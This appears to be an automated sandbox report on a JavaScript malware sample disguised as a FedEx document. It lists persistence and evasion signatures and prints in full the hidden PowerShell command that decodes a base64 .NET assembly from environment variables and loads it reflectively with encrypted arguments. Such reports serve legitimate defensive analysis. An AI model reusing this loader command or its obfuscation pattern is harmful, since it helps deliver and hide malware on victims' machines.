Analysis

  • max time kernel
    149s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/08/2026, 10:01

General

  • Target
    FedEx Doc.js
  • Size 23.4MB
  • Sample260811-l2dmkacj2w
  • SHA256 e6281e5fa481b46cddcec262583b741e4414d29d08121a02c7e85e3a18403561
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\FedEx Doc.js"
    1⤵
    • Creates a file in the Startup directory
    • Modifies registry class
    PID:1236
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('AxpV1RlNq8WAzCgpRX0SZbifUaiTI2hFzQxrp8fces6ubyft7GEVJ/hT1aEYH2BfnqgjBkOPOGWt4gMMJ2M63kMNT6tWfG74tvy711EedZl0nSX63tmjumVCn6wipOuM','','oekGLRTRdQ2qroKLYOTl+Hmfd4KKDnFyQ4A/j/PjkQUR4o4HFYUThAorLhld4Mnh','Bb7n1T3jrlB4yUCu8JkHKRxsqMv7lQfyGKJCYRak9SU=','sQ4r9RwRml6ry2Fk1oxrRc623WRzo3mvqNIpi7wc1v0=','gwl7KQbHzcRAQexPsths1J3ojC0GP/0aN1VX+etG++s=','o7A832qUG6JPiSKSit/c7v6WDZfCJn7oPyIpdQ02hMQ=','','5yRi7Muhn8NvbuMWUUZcscCNJugRjzRYubQlfMu3dbw=','VQY3X+HZee2PCty/B2YKjXYVvWHPGRrwhY/x0fq6d/bggveiT/Ejo1pIm4yqxtJS','AuZalrvwu26yB/qtD5raIFmYDhyZPE6Odk/U6z0QIAM=','+Wpq7b5Iczdda7cOXQaP8bCwJk+Mh78EmkpL/Bu/0cc=','BlrAAylYb6Z1IqIS8FtfuRJr0M/nZpTD+enaH4sNAv0=','','Y9dfbILzi/I+rXRuam3t2ZARdZwfdKmtFJhFaKg1ozE=','YKBr7zzePMusLcByoCzawPIndTsWJtw3EMh7uOlwZQo=','','','','WD9cZZ+cT42HkDmA/suG/zTuP15ZMurtXiYnd8W675A=','dHFIuxC6DENdJIvVY+vrDcXnN3y+G9ljjPNb80ROGaE=')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2452

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2452-0-0x00007FFA5882F000-0x00007FFA58830000-memory.dmp

        memory/2452-1-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2452-4-0x000001432D930000-0x000001432D952000-memory.dmp

        memory/2452-5-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2452-6-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2452-7-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2452-8-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2452-9-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2452-11-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2452-12-0x000001432B150000-0x000001432B15A000-memory.dmp

        memory/2452-10-0x000001432B0C0000-0x000001432B152000-memory.dmp

        memory/2452-15-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2452-14-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp